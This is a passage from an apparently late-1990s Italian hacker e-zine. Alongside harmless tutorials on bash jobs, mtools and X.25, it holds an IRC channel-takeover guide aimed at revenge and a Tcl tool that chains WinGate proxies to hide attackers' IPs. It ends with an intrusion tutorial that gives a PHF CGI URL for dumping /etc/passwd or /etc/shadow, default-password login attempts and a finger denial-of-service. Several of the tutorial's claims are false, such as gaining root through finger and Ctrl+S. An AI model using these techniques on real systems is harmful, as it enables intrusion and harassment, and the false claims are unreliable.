seekOffset, SEEK_SET); while ((strlen = read(fdin, inbuff, sizeof(inbuff))) != 0){ for (i=0; i < strlen ; i++){ if (cryptFlag){ if (!(i % 2)) outbuff[i] = (inbuff[i] + 0x44) & 0xff; else outbuff[i] = (inbuff[i] + 0x63) & 0xff; } else { if (!(i % 2)) outbuff[i] = inbuff[i] - 0x44; else outbuff[i] = inbuff[i] - 0x63; } } write(fdout, outbuff, strlen); } close(fdin); close(fdout); return(0); } void usage(char *progname){ char *c; c = strrchr(progname, '/'); if (c) c++; else c = progname; printf("Usage: %s -cd[h] [-i infile] [-o outfile] [-s seek] \n", c); printf(" Shell-lock {en,de}coder by mudge@l0pht.com and _lumpy\n"); printf(" -c encrypt\n"); printf(" -d decrypt\n"); printf(" -h help\n"); printf(" -i input file\n"); printf(" -o output file\n"); printf(" -s seed offset [defaults to 50688]\n"); exit(1); } ---end codem.c--- |_|R|<3S for special grant of BooZed ToXin mail: urkes@hotmail.com ͻ Ŀ JOB DI SHELL ٺ ͼ (premetto che non sono un geniaccio di linux, ma ci Lavoro parecchio) ;) Attraverso alcune shell e' possibile gestire i job (molte persone non sanno neanche cosa cazzo siano) , in questo caso rappresentano raggruppamenti di processi generati da un unico comando. La shell Bash, e in generale le shell POSIX, oltre alla shell Korn e alla shell C, gestiscono i job. Nelle sezioni seguenti si fa riferimento al comportamento di Bash (in qualita' di shell POSIX), ma la maggior parte di quanto spiegato in queste sezioni vale anche per le shell Korn e C (ksh e csh). -- Il Job di shell non e' assolutamente confondibile con un processo. Il processo e' un singolo eseguibile in funzione, e cui a sua volta possono essere associati altri processi. Un job di shell rappresenta tutti i processi che vengono generati da un comando impartito tramite la shell stessa --- Foreground e background di Job. L'attivita' di un job puo' avvenire in primo piano (foreground) o sullo sfondo (background). Nel primo caso, il job impegna la shell e quindi anche il terminale, mentre nel secondo la shell e' libera da impegni e cosi' anche il terminale. AVVIO DI JOB SULLO SFONDO. Un programma e' avviato esplicitamente come job sullo sfondo quando alla fine della riga di comando viene aggiunto il simbolo "&". Per esempio: # make zImage > ~/make.msg & che avvia sullo sfondo il comando make zImage, per generare un kernel, dirigendo lo standard output verso un file per un possibile controllo successivo dell'esito della compilazione. A sua volta dopo l'avvio di un programma come Job sullo sfondo, la shell da una riga contenente il numero del Job stesso, ed il numero del processo terminale dato dallo stesso job (Pid). es: [1] 153 (che rappresenta il Job n.1 con pid 153) ha la necessita' di emettere dati attraverso lo standard output o lo standard error e non sono stati ridiretti si ottiene : es: [1]+ Stopped (tty output) cazz (il job avviato con il comando cazz si e' bloccato in attesa di poter emettere dell'output) SOSPENZIONE DELLO JOB. Se volete sospendere un Job in esecuzione nell'es. precedente il Job (cazz), basta digitare il comando "susp" o brevemente (ctrl+z) , se il Job verra' sospeso la shell rispondera' con: es: [1]+ Stopped cazz (job cazz e' sospeso) . -------JOBS------- usage: jobs [] [] Il comando di shell jobs, permette di conoscere l'elenco dei job esistenti e il loro stato. Per eseguire questo comando occorre che non vi siano altri job in esecuzione in primo piano, e si otterranno l'elenco dei job sullo sfondo. opzioni: -l : Che permette i numeri Pid dei processi di ogni Job. -p : Che emette solo i numeri PiD di ogni Job. Esempi: # jobs [1] Running yes >/dev/null & [2]- Stopped (tty output) netc [3]+ Stopped (tty input) Mul # jobs -p 232 233 235 (numeri PID dei processi leader di ogni job) :) Simbolo Descrizione %n Il job con il numero indicato dalla lettera n. % Il job il cui comando inizia con la stringa indicata. %? Il job il cui comando contiene la stringa indicata. %% Il job attuale. %+ Il job attuale. %- Il job precedente a quello attuale . fg [] -- Con il seguente comando si ottiene il job che prima era sullo sfondo. se non viene specificato alcun Job su cui agire si intende quello attuale. bg [] Il comando bg permette di fare riprendere (sullo sfondo) l'esecuzione di un job sospeso. KILL kill [-s | -] [] es. # kill -KILL %1 Elimina i processi abbinati al job n.1 emettendo il segnale di SIGKILL. # kill -9 %1 Elimina i processi abbinati al job n.1 emettendo il segnale in forma numerica. Ho provato ad esplicare quelle 4 stronzate che ho memorizzato e non ricordo teoricamente. Spero che a qcn possa servire. In effetti non credo tutti abbiano per passione linux, ma chi ha questo sys nel sangue .. sono sicuro apprezzera' queste 4 righe. uhm.. =) cmq.. ringrazio gli amici NewBie che mi sollevano spesso moralmente, in particolare Nobody88 e guf0z, i dislessici (LordFelix, sprintf, awgn), ed i miei amici pizzari. ;o) Pizzahack.org /\_/\The H0ly LinuX/\_/\ rwxrw-r-x ---> shark ͻ Ŀ MTOOLS OVVERO COME VIVERE IN DOS SOTTO LINUX ;) ٺ ͼ Salve a tutti, io sono N0bodY88 e questo articolo trattera' di un pacchetto di programmi forse non molto noto ma molto utile se avete poco tempo e dovete salvare qualcosa su dischetto dalla vs linux box :) Ma prima di tutto cos'e' Mtools? Mtools puo' essere definito come un pacchetto installabile sui ns neo-nati linuzzi, che cosiste in un insieme di programmi che si possono utilizzare per gestire i dischetti in formato ms-dos (sisisi quelli di winzoz ;). Ma xche' sbatterci a imparare a usare sti mtools se x formattare un dischetto basta eseguire queste poche e semplici operazioni: 1) setfdprm -p /dev/fd0 1440/1440 2) fdformat /dev/fd0 3) mke2fs -c -v -L "Nobo" /dev/fd0 4) mount -t ext2 /dev/fd0 /mnt/floppy =====))))) Voi mi potreste dire...basta che metti tutto in un bello scriptino fatto apposta...e io vi direi..ok avete ragione voi :P hihihi A parte gli scherzi il pacchetto Mtools viene usato x tre motivi: 1) vi formatta un dischetto in 3 secondi (che non e' male x chi va di fretta!) 2) il dischetto che create (e relativi file contenutivi) saranno perfettamente visibili sui winzozzi dei ns amici (o del ns) 3) i comandi x fare tutto cio' sono della cagate assurde (...speravate che vi insegnassi qualcosa di tosto? invece no :ppppp hihihi) Ora andiamo a vedere in dettaglio i vari programmi di Mtools (pacchetto che trovate nella installazione di Red Hat e SuSE e nelle altre non so xche' non le ho ancora messe ;): COME FORMATTARE IL DISCHETTO CONTENUTO NELL'UNITA' A: ? Semplice basta fare da shell: # mformat a: a due punti!?!?!?(direte voi) Ma non siamo in linux???? Ebbene si' ma gli mtools fanno proprio tornare in mente i (vecchi ma ancora molto utili se li si sa ;) comandi dos. E X DARE UN ETICHETTA AL NS DISCHETTO ? # mlabel a: E X COPIARE UN FILE (DELLA DIR CORRENTE) SU DISCHETTO ? # mcopy nobo.txt a: E X COPIARE UN FILE NELLA DIR CORRENTE DAL DISCHETTO ? # mcopy a: nobo.txt E X CANCELLARE UNO FILE SUL DISCHETTO ? # mdel a:*.txt E X ENTRARE IN UNA DIRECTORY NEL DISCHETTO ? # mcd a:/appunti E X CANCELLARE UNA INTERA DIRECTORY ? # mdeltree a:/appunti E X CREARE UNA DIRECTORY ? # mmd a:/newbies E X CANCELLARE UNA DIRECTORY (VUOTA STAVOLTA) ? # mrd a:/newbies E X LEGGERE IL CONTENUTO DI UNO DEI FILE SU DISCHETTO ? # mtype -t a:/newbies5 ma come mai quella opzione -t???? Quel parametro serve a dire al ns linuzzo che noi si sta a guarda un file del cugino dosss e che quindi ci sono da convertire tutti gli "a capo". Se plu fasil ;) (da qui potete capire che non ho fatto il liceo linguistico =) Che mi rimane da dire? Beh, sperando che questo art possa essere stato d'aiuto anke ad uno solo di voi (anke se 2 sarebbe + gratificante ;) vi saluto e vi lascio ad altri art sicuramente + degni di ricevere attenzione di questo ===) Byez N0bodY88 "Have u ever had a dream or your life is just a trip a trip without changes..." GUANO APES, Open Your Eyes PS: solo dopo aver fatto l'articolo mi sono accorto che c'era un intero capitolo negli appunti di linux quindi se volete approfondire meglio l'argomento m-tools puntate i browser a http://pluto.linux.it e cercate nella miriade di informazioni note sotto il nome di appunti linux... da non perdere x chi come me ancora non mastika molto linux :) ۰۰۰ ۰۰۰۰ ۰۰۰ ۰۰۰۰ ۰۰۰۰ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ ============================================================================== _____ ______ ______ ___ ___ ______ ______ __ ___ | | | \ | | | | | | / \ | | | | / / | | | O | | ___| | | | | | | | ___| | | / / | | | / | | | |_| | | __ | | | | |/ / | | | \ | |___ | _ | | / \ | | |___ | |\ \ | | | | | | | | | | | |____| | | | | | \ \ |_____| |__|\__/ |______| |___| |___| |_| |_| |______| |__| \__\ ============================================================================== %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DISCLAIMER: Il testo che segue e' puramente a scopo informativo, l'autore Th3_1n7rud3r non si ritiene responsabile per l'uso che farete per le infoz qua sotto. Soprattutto ricordatevi: IO NON C'ERO , NON SO NIENTE, NON HO VISTO NIENTE E SE C'ERO STAVO TROMBANDO !!! :))))) Adenguandomi allo stile del mitico pIGpEN di BfI: CONSUMO: te' freddo lipton al limone, patatine e merendine varie; MUSICA ASCOLTATA: hardcore (Tunz Power !!!) :) DEDICHE: al mio grande amico Bug Gates e al suo winkaz; ALTRE INFO: per non fare il lamerazzo del cut&paste, premetto che cio' che e' scritto di seguito e' per 40 % mio e per il 60 % tradotto da "Hacking IRC - The Definitive Guide" scritto da un certo klider (klider@panix.com); //////////////////////////*************************\\\\\\\\\\\\\\\\\\\\\\\\\\\ Let the fun begin ! Ovvero come divertirsi alle spalle di quei lamerazzi che si definiscono grandi hacker solo perche' hanno uno script pieno di nuke e sanno come usare altavista ! PERCHE' HACKERARE UN CHAN IRC ? La domanda ha mille risposte, uno dei motivi potrebbe essere il volere buttare fuori quel pirla che ci ha offeso il giorno prima oppure una molto piu' semplice vendetta versio qualcuno che ci sta sul ca**o. DI COSA AVETE BISOGNO La prima cosa che avrete bisogno (anche se non e' indespensabile) e' una shell *NIX, perche' vi permette di fare tante belle cose che non potete fare col il nostro amato Winkaz. Inoltre una script per la shell e' molto piu' veloce dei vari scripts mIRC like ( avendo sperimentato entrambi posso confermare che e' davvero meglio la shell: Linux Power !!!!!!). Oltre a cio' avrete bisogno di alcuni tools che si trovano in tutti i siti h/c/p/v e cioe': - Link Looker: un piccolo proggyz che ci sara' molto utile e ci serve per sapere quali server sono splittati (ve lo spiego dopo... ) -Multi Collide Bot (MCB): un altro piccolo proggyz che ci servira' per buttare fuori gli OP (se non sapete cosa vuol dire essere OP e' meglio che tornate a cose piu' semplici come accendere e spegnere un computer... :) ) ALCUNE TECNICHE PER IMPADRONIRSI DI UN CANALE La prima cosa, anche se puo' sembrare ovvia e stupida, e' quella di fare un po' di social engineering e cioe' andare per qualche sera nel can e cercare di farsi amici gli operatori cosi' saranno poi loro a darvi l'@ e in cambio, per dimostrare quanto siete bastar.... volevo dire educati, gli ciuccerete il suo bel canalino ! Se non avete voglia di perdere tempo e volete vendetta subito potete ricorrere alla tecnica del server splittato. Mi spiego: un server si dice splittato quando e' "staccato" da una parte della rete. Ora, quando questo accade, e siete i soli nel canale splittato, avete l'opportunita' di prendervi automaticamente l'@ quando il server si ricollega alle rete. Per attuare questa tecnica ecco che entra in gioco il Link Looker. Questo piccolo programmino agisce come il vostro agente segreto e vi informa se il server che sta controllando splitta dalla rete, in poche parole vi risparmia tutta la fatica di monitorare "a mano" un server per tutta la sessione. Il metodo dei server splittati funziona solo con quei canali piccoli o cmq con quelli gestiti da gente poco esperta. La maggior parte delle volte infatti a proteggere i canali ci sono dei Bot, dei programmi che decidono chi deve essere operatore e chi no e che vi deopperebbero subito. Contro questi bastardi entra in gioco il Multi Collide Bot, un potente tool e anche il vostro miglior amico !!! L'MCB sfrutta il fatto che se create un clone di qualcuno su un server splittato quando questo si ricollega alla rete si trova con due persone con nick uguali e li sbatte fuori entrambi facendogli perdere l'@. Capito il trucco ? Voi cacciate giu' l'OPerator e vi collegate dal server splittato e sarete il solo @ nel canale. Come ultima tecnica vi posso rimandare all'articolo che era su NewBies2 a riguardo della registrazione di un canale con il Chanserv. Infatti se gli operatori sono cosi' stupidi da non aver ancora registrato il canale voi lo farete al posto loro e setterete tutto per essere i soli @ del canale. COSA DA FARE PRIMA DEL TAKE-OVER Prima di impadronirvi di un canale vi consiglio di stare a guardare per un po', magari con un altro nick, quello che succede in modo da capire chi sono gli OP abituali del canale. COSE DA FARE DOPO ESSERSI IMPADRONITI DEL CANALE Su questo punto vi posso dire solo una cosa: usate la fantasia !!!!!!!!! e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e'e' Bene per questa volta e' tutto, spero che abbiate capito almeno le basi dell'hacking di IRC, se ci siete riusciti nonostante il mio pessimo italiano siete davvero bravi !!!!! :)))))))))))))) Per qualsiasi cosa mailatemi a the1n7rud3r@freemail.it ͻ Ŀ SCRIPT PER MIRC (PER L'UTILIZZZO DI UN BOT) ٺ ͼ Cari ragazzi ho deciso dopo aver visto alcuni bot settati male ad alcune persone che non capivano il funzionamento dei bot di scrivere uno script da implementare al vostro caro e bel mirc :):) Questo script potete utilizzarlo direttamente sul vostro mirc originale copiando lo script che segue nel file popups cancellando la parte che e' inserita nel [bpopup] e incollando questa, oppure immettendola direttamente nello script che avete, cambiando naturalmente i vostri script. :) Spero che vi piaccia e vi sia utile :) Buona chattata a tutti by XuNiL ^The Operative^ (MONNALISA TI AMOOOOO :):):)) piccola crisi :) NOTA BY N0bodY88 = lo script x mirc di XuNiL abbiamo preferito metterlo tra gli allegati col nome di scriptmirc.txt e poi zippato col nome scriptmirc.zip x rendere meno corta la e-zine x tutti i malati (come me) di mente che si stampano regolarmente NewBies (ce ne sara' qualcun'altro oltre me? mah......... misteri della vita ;-) ۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰ ۰۲۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰ NOTA BY N0bodY88 = come al solito questa sezione oltre ad articoli di hacking vero e proprio contiene gli art piu' disparati sempre attinenti all'argomento hacking quindi che dire ... ... godeteveli :) ... e se vi sembra che un art dica cose sbagliate o cmq poco giuste e volete dircelo allora scrivete voi un art sull'argomento cosi' da aiutarci a migliorare sia noi membri di NewBies sia i lettori che magari sull'argomento non ne sanno molto e vanno in cerca di qualcuno che gli spieghi qualcosa o meglio che lo indirizzi verso la strada giusta... ----------------------------[WinGate With All 1.0]----------------------------- -----------------------------------[|CyRaX|]----------------------------------- Consumo: 1 pakketto di Diana Blu 1 cucciolone (con 2 barzellette pietose) 1 flauto al cioccolato 1 coca cola Musica Ascoltata: "Reflector God" "Minute of Decay" by Marilyn Manson "Come as you are" by Nirvana "Mi chiamano candy" by Carlotta (Ke canzone di merda) Thanks To: BlackBerry: Ti devo l'esistenza sulla grande rete.. Mav : Sostegno morale e poi : LordGIO ^eagle1^ Peter_And ZZ_Top Frankj Queryme Belial Fuzzo Goemon Fda RedEvil Guy e il resto di #programmazione e #simpson Fucks To: I miei prof di Disegno Storia e Latino Cominciamo.... A volte potrebbe essere utile non lasciare il nostro vero ip nessun log.. ma non tutti i client supportano l'uso di sock, proxy o robe varie.. Escludendo i client irc ke permettono di mandare messaggi direttamente al server ( /raw o /quote) non e' possibile usare i telnet proxy con un qualsiasi client tcp. Per risolvere questo problema ho realizzato un semplice programmino in tcl. Per tutti quelli ke in questo momento si sono messi a cantare "No Scrubs" consiglio di fare un salto al sito della sun. (e poi quelle sono tlc :)) . Il suo funzionamento e' semplicissimo... Basta dargli come argomento un file contenente una lista di wingate, la porta dove mettersi in listen, e ovviamente l'host e la porta del bersaglio. Poi prendete il vostro client (per esempio un web browser o un client pop3) e gli dite di connettersi al localhost sulla porta dove avete messo il programmino in listen. Quindi il programmino si passera' tutti i wingate e mettera' il vostro client in comunicazione con la vittima. In questo modo non sara' il vostro ip a comparire al bersaglio ma quello dell'ultimo wingate nella vostra lista. Passiamo alle domande... d) Funziona con tutti i telnet proxy ? r) No.. Funziona solo con il telnet proxy del wingate... ovvero quelli ke sulla 23 ti danno il prompt "Wingate>". A dire il vero funziona con tutti i telnet proxy ke prima di metterti in comunicazione con l'host dato ti mandano 2 righe di testo. ( I wingate di danno il prompt + una riga di conferma). La seconda riga mandata dal proxy viene mostrata dal programmino. In questo modo, in caso di erorri, e' possibile quale wingate non funzia. d) E se il mio client si connette solo su una porta predefinata ke non posso cambiare ? (come molti client pop3) r) In questo caso basta mettere il programmino in listen sulla porta ke il client vuole.. Se quella porta e' gia in uso da qualche altro programma dovete chiuderlo (oppure rinunciare :) d) Ma perke' l'hai fatto in tcl ??? r) Perke' il tcl e' un linguaggio + semplice del c e xke' non so usare molto bene quest'ultimo e dato ke devo studiare per passare 3 fottuti debiti formativi (vedi sezione fucks to) non ho molto tempo di impararlo. d) Uahoooo. E con questo posso provare tutti i miei exploit su www.fbi.gov con la certezza ke non riuscirranno mai a rintracciarmi ?? r) ASSOLUTAMENTE NO! I wingate per default non loggano ma non potete esserne certi. Questo programmino permette di passare per quanti wingate volete ma in ogni caso la sicurezza non e' certa. Guardiamo la sicurezza ke possiamo avere in vari casi... 1)Se tutti i wingate per cui passate loggano possono risalire a voi senza troppi problemi (certo.. + ne usate + ci mettono). 2)Se almeno un wingate non logga il bersaglio non puo' risalire a voi andando a trovare tutti i proprietari di wingate. Comunque ricordate ke se il primo wingate logga e se l'admin vede ke avete rimbalzato su fbi.gov potrebbe sempre avvisare lui l'admin del sito. 3)Se il primo wingate non logga siete al sicuro.. Il vostro ip non e' stato registrato quindi anke se un qualsiasi admin di un qualsiasi wingate vede ke qualcuno e' rimbalzato sull'fbi nemmeno lui puo' risalire a voi. Se passate da un bel po' di wingate la prima ipotesi e' improbabile. La seconda e' ank'essa improbabile.. anke xke' i wingate ke vedendo dove rimbalazate possono risalire a voi sono quelli ke vanno dal primo a cui vi collegate al primo ke non logga. Tutto questo casino per farvi capire ke non potete essere certi di essere invisibili. Vabbuo'... ekkovi il codice... non l'ho testato molto... report sui bug, insulti e bestemmie a cyrax@freemail.it (per ki se lo dimenticasse : chmod+x wgwa.tcl) -----------wgwa.tcl----------- #! /usr/bin/tclsh if {[llength $argv] != 4} { puts "WinGate With All 1.0" puts "Wroted by |CyRaX|" puts "Usage : ./wgwa.tcl wingatefile listenport targethost targetport" puts "Then run your client and connect him to localhost/localport" exit } # Getting args from the command line set wingatefile [lindex $argv 0] set listenport [lindex $argv 1] set targethost [lindex $argv 2] set targetport [lindex $argv 3] #Proc that bounce all the wingates proc bounce {channel address clienport} { global wingatefile global listenport global targethost global targetport set wgfile [open $wingatefile r] # Connecting to the first wingate in the list set wgsock [socket [gets $wgfile] 23] while { [eof $wgfile] == 0} { set line [gets $wgfile] if {$line == ""} {break} puts $wgsock $line flush $wgsock # Gets the line with the prompt gets $wgsock # Show the line that confirm the connection puts [gets $wgsock] } # Now we must connect to the victim puts $wgsock "$targethost $targetport" flush $wgsock gets $wgsock puts [gets $wgsock] # Victim reached... now we make a pipe.. fileevent $wgsock readable "give $wgsock $channel" fileevent $channel readable "give $channel $wgsock" } proc give {from to} { puts $to [gets $from] flush $to } socket -server bounce $listenport vwait closed --------------------------- Titolo: X.25 for fun and profits, but much more for fun... Autore: L0rD`n0p1 Azioni speciali: Induzione al suicidio di massa ed all'uso di droghe pesantemente chimiche di molti miei conoscenti tra cui il mio criceto che ora si fa di mescalina e sniffa l'etere... Consumo: Ringraziamenti: Vecna, che e' il mio manuale di c Nail`d0d, ci vediamo ad AL il 30 :D Bikappa, we'll be rotting ya fla, flanculo ! naif, ce vediamo ar seclab :D e te offro la colazione nhaima, :** o2,Smilzo,alt^255,Ego^pFe,SLIVER',B_Berry,/spirit/, |TsUnaMi|,N0body88,e tutti quelli che ho dimenticato :D Tutti gli host della mia rete, ma soprattutto quel gran server dedicato alla donna che piu amo :D Tutti quelli che ho dimenticato :) DISCLAIMER ---------- Quello descritto in questo articolo potrebbe essere usato per scopi illegali, sottolineo che non e' questo lo scopo con cui e' stato scritto quanto segue. Se intendete utilizzare quanto qui riportato per violare sistemi e cose simili cancellate immediatemente questo file e andate a suicidarvi. INTRO ----- Non molta gente della nuova scena conoscera' la gloriosa rete che non morira' mai, la cosidetta X.25 ovvero rete a commutazione di pacchetto. Come fare a dimenticarsi della mitica ITAPAC, che fu una delle mie prime dimore dei miei smanicamenti giovanili. Come dimenticare il giorno in cui accedetti a ITAPAC e ne rimasi totalmente affascinato, allora quando il modem piu' veloce era un 2400 e i 9600 erano lontanissimi sogni. Ma lasciamo stare i ricordi e passiamo alle cose concrete. THAT's aMMoRE (reti a commutazione di pacchetto) ------------- La rete a commutazione di pacchetto e' caratterizzata dal fatto che e' ibrida, ovvero permette connessioni chiunque con chiunque. Mi spieghero' meglio, quando i dati vengono inviati nella rete non possiamo sapere il percorso che verra' fatto da essi ne dal sorgente al destinatario e viceversa. Infatti i dati originati vengono divisi in piccoli pacchetti contrassegnati da un numero sequenziale e dall'indirizzo di destinazione, e i pacchetti quando percorrono il percorso tra HOST originario (src) e HOST destinatario (dst) essi intraprenderanno il miglior percorso disponibile al momento. Ciascuno dei pacchetti emessi da src quindi viaggiera' per proprio conto e su diverse strade a secondo del percoso migliore disponibile al momento. Per usare un termine "straniero" questa e' una tecnica molto "reliable" ovvero se un collegamento si interrompe durante la trasmissione dei dati e uno o piu pacchetti non arrivano a dst non sara' necessario ritrasmettere tutti i dati ma solo i pacchetti mancanti all'appello, poiche' sicuramente altri pacchetti avranno trovato una strada alternativa al collegamento interrotto. A dst i pacchetti arriveranno in ordine casuale. Ma dato che ogni pacchetto e' contrassegnato da un numero sequenziale non sara' affatto difficile rimetterli in ordine per avere tutti i nostri dati trasmessi di nuovo nella sequenza esatta e pronta per essere letta. Per questi motivi le reti a commutazione di pacchetto sono molto rapide ed efficienti ed hanno un loro metodo per gestire l'instradamento dei dati. Quelli che seguono qui sotto sono le tre principali implementazioni delle reti a commutazione di pacchetto. . X.25 . Frame Relay . ATM (Asynchronous Transfert Mode) Passiamo a parla di esse piu' da vicino, passando in rassegna tutte e tre le implementazioni ma dedicandoci poi inizialmente alla rete X.25. POST ORGASMIC X.25 Network -------------------------- Il protocollo X.25 nasce negli anni 70 per consentire agli utenti delle reti di dati pubblici una capacita tipo WAN (Wide Area Network). Ancora oggi e' molto utilizzata ad esempio per fornire connettivita' tramite canale D di ISDN, ma questo e' un discorso a parte :) Dunque i primi sviluppatori di questo protocollo furono le compagnie telefoniche. Il funzionamento e' il seguente: Un HOST A chiama un HOST B per potere instaurare una sessione di comunicazione e se la chiamata e' accettata i due HOST iniziano una connessione FULL-DUPLEX che puo essere terminata in qualsiasi momento da uno dei due HOST. LA connessione che si instaura e' di tipo point-to-point tra il DTE (Data Terminal Equipment) al sito del client e il DCE (Data Circuit-terminating Equipment) con l'impianto vettore. DTE e DCE comunicano tra di loro per mezzio di una trasduzione effettuata dal PAD, ovvero Packet Assemble Disassembler. Il DCE invece si connette con il PSE (Packet Switching Exchange), meglio conosciuto come switch, questi si connettono tra di loro fino a raggiungere il DCE dell'HOST destinatario. Infine tale DCE si connette con il DTE dell'host per completare la sessione di commutazione. DTE \ \ DCE |-\--------------------| | \ | | SWITCH--------SWITCH | | | \ / | | | | \ / | | | | x | | | | / \ | | | | / \ | | | SWITCH--------SWITCH | | | | | DCE | |--|-------------------- | DTE - - - - - - - - - - - FINE PRIMA PARTE BY L0rD`n0p1 - - - - - - - - - - - - ͻ Ŀ HACKING: TUTTO QUELLO CHE C'E' DA SAPERE ٺ ͼ Titolo : Hacking: tutto quello che c'e' da sapere Autore : M4VER1CK Argomento : tecniche di base dell'hacking Difficolta' : 3/10 Conoscenze necessarie : comandi unix, permessi unix, file di password. BrEvE InTrO: Allora raga in questo articolo si parlera' di hacking in tutti i suoi aspetti: teoria, pratica, social engeenering, filosofia....Insomma tutto quello che c'e' da sapere per essere/diventare hackers provetti :) Un consiglio prima di iniziare veramente... se state imparando questa stupenda arte..LEGGETE! Dovete leggere + cose che potete, solo cosi' imparerete le tecniche + diverse e potervi districare nelle situazioni + complicate. 1) Teoria 1.1) Raccoglimento informazioni La prima cosa che bisogna fare quando si ha intenzione di attaccare un sistema e' ricavare quante + informazioni potete su di esso. Ogni minima informazione puo' essere essenziale, anche quella che sembra insignificante. Beh, prima di tutto dovrete sapere cosa gestisce il sistema che volete attaccare. Mi sembra ovvio che per attaccare nasa.gov ci si predispone in modo diverso dal l'attaccare www.beretta.it (quello dei salamini sapete ?? :). Poi consiglio di dare un' occhiata alla sorgente della pagina web del sistema e vedere se utilizza degli script, se ci sono degli interpreti di comandi tipo perl accessibili a tutti e cose di questo tipo, insomma come ho detto prima tutto puo' servire, anche le cose + insignificanti. Successivamente io generalmente mi faccio una bella telnettata al sistema in questione e mi prendo nota del tipo di sistema e della versione. Poi sempre con telnet mi connetto alla porta 25, posta in uscita, per annotarmi il numero di versione di SendMail. Per chi non lo sapesse SendMail e' forse il programma + buggato che la mente umana possa concepire (ovviamente dopo Findus95/98) e si sfrutteranno questi bug per accedere illecitamente al sistema. Se si vuole fare un hack proprio fatto bene, cosa che consiglio CaLdAmEnTe, conviene anche fare un port surfing. Per i NewBies + inesperti fare del portsurfing significa connettersi a tutte le porte del sistema per vedere quali sono aperte e a cosa servono. Questo sempre x ricercare eventuali bug nel software. Poiche' collegarsi a tutte le porte del sistema e' un lavoro lungo e noioso potete usare dei programmi chiamati portscanner che tentano di connettersi a tutte le porte e se ci riescono ve lo fanno sapere. Consiglio caldamente l'utilizzo di questi programmi poiche' velocizzano molto il lavoro. Se il sistema permette l'accesso anonimo, siete quasi a cavallo, poiche' potrete farvici un bel giretto raccogliendo importanti info. Ok......penso che come raccoglimento di informazioni possa bastare. Ora passiamo al secondo capitolo, dove finalmente si utilizzeranno le informazioni ricavate :) 1.2) Exploit e bug Come voi ben sapete (spero!!) esistono vari sistemi operativi che sono utilizzati per gestire una rete. Unix, Linux, Irix, IIS, Apache e tanti altri. Per una strana coincidenza il sistema + bacato tra questi e quello gestito dalla Micro$oft :))) cioe' Microsoft IIS (ma possibile che Bill non ne faccia una di giusta ?!?!). Questo solo per dire che la microsoft NON e' assolutamente una grande SoftwareHouseanzi!! E' cosi' famosa e potente perche' e' l'unica a controllare un sistema operativo (Findus98/95) di facile utilizzo e abbastanza immediato. Chiusa la parentesi anti-microsoft. Tornando all'hacking, la prima cosa che faccio io e' connettermi al sistema via telnet e provare le cosi dette "password di installazione". Cosa sono ??? E' presto detto! Se voi avete mai installato Linux sulla vostra macchina sapete bene che l'installazione crea dei login e delle pass e li mette nel file /etc/passwd o se sono shadow nel file /etc/shadow. Se il SysAdmin si e' fatto un canna avra' lasciato su le password di installazione, e noi potremo facilmente accedere al sistema attraverso esse. Vi consiglio di procurarvi una lista di queste password di installazione, e ricordatevi che ogni sistema ha password di installazione diverse. Poi e' una buona abitudine fare una altro controllo: il PHF. Il celeberrimo PHF. Prima di tutto desidero spiegarvi il funzionamento di questo exploit, poiche' un bravo hacker deve sempre sapere quello che sta facendo. Il phf e' una semplicissima utility di agenda telefonica che puo' essere usata in modo sovversivo, semplicemente digitando come url: http://www.sito.com/cgi-bin/phf?Qalias=x%0A/bin/cat%20/etc/passwd Il file PHF viene eseguito, vengono passati parametri fittizzi, e si simula un invio a capo (%0A) e poi si esegue il comando /bin/cat /etc/passwd. In questo modo sulla schermata del browser verra' mostrato il file di password. Se le password sono shadowed potrete mettere al posto di "passwd", "shadow". Voi direte: "ma il file shadow non e' accessibile solo al root ??" Vero vi rispondo io...ma vi dico anche che in quel momento noi abbiamo accesso root!!! Consiglio: non riponete tutte le vostre speranze su questo attacco, poiche' per esperienza vi dico che nel 90% dei casi non funziona. Una volta poteva essere una buona risorsa, ma ora non +. Un attacco che invece funziona molto bene e quello del finger. Se dal vostro buon port surfing siete riusciti a collegarvi alla porta 79 questo attacco puo' essere effettuato altrimenti, bisogna ricorrere ad un trucchetto :)) Innanzi tutto bisogna dire che l'attacco alla porta finger puo' essere di due tipo il primo D.o.S. il secondo sfrutta un bug. La sigla D.o.S. significa Denial Of Service e consiste nel collegarsi molte volte alla porta finger affinche' il sistema non sopporti la mole di lavoro richiesta e nel migliore dei casi' crashera', cosi' noi potremo avere l'agognato accesso r00t. Invece per realizzare il secondo attacco dovrete seguire i seguinti passi: 1) Collegarsi alla porta 79 2) Scrivere ///* seguito da Ctrl+S A questo punto avete accesso root :) Ctrl+S e' il cosi' detto comando "freeze". Nello sventurato caso in cui il bravo SysAdmin :) abbia disabilitato la porta Finger noi non potremo realizzare questo attacco. Ma probabilmente il sempre bravo SysAdmin ha solo disabilitato la porta ma non ha cancellato il file finger dal sistema. Quindi noi potremo accedervi digitando nel browser: http://www.sito.com/cgi-bin/finger per passare parametri al file dovete usare ? cioe' finger?parametri. Simile a finger c'e' anche ping, ma poiche' il funzionamento e' + o - lo stesso non sto qui a spiegarlo. Oltre alla porta 79 e' utile da un punto di vista hacker la porta 25 che come detto prima e' la porta di posta in uscita. Il programma che gestisce la stessa, SendMail, e' un programma con molti buchi, alcuni molto gravi, altri meno, ma qualsiasi versione, anche la + nuova ha almeno un baco da sfruttare per accedere al sistema.Per parlare di tutti i bug che ha sendmail in tutte le sue versioni non basterebbero 100 di questi articoli, quindi segnatevi la versione di SM e andate in siti hacker (www.rootshell.com, l0pht.com, www.hackers.com, www.8lgm.org) e cercate l'exploit relativo. Se nei sorgenti della pagina che vi siete salvati nell'HDD vedete che essa utilizza degli intepreti di comandi tipo Perl potete fare pressoche' quello che volete. Potete se volete anche cancellare tutta la directory :)))) Basta solo conoscere il linguaggio in questione, in questo caso perl. Ecco, direi che queste tecniche possono bastare. Se 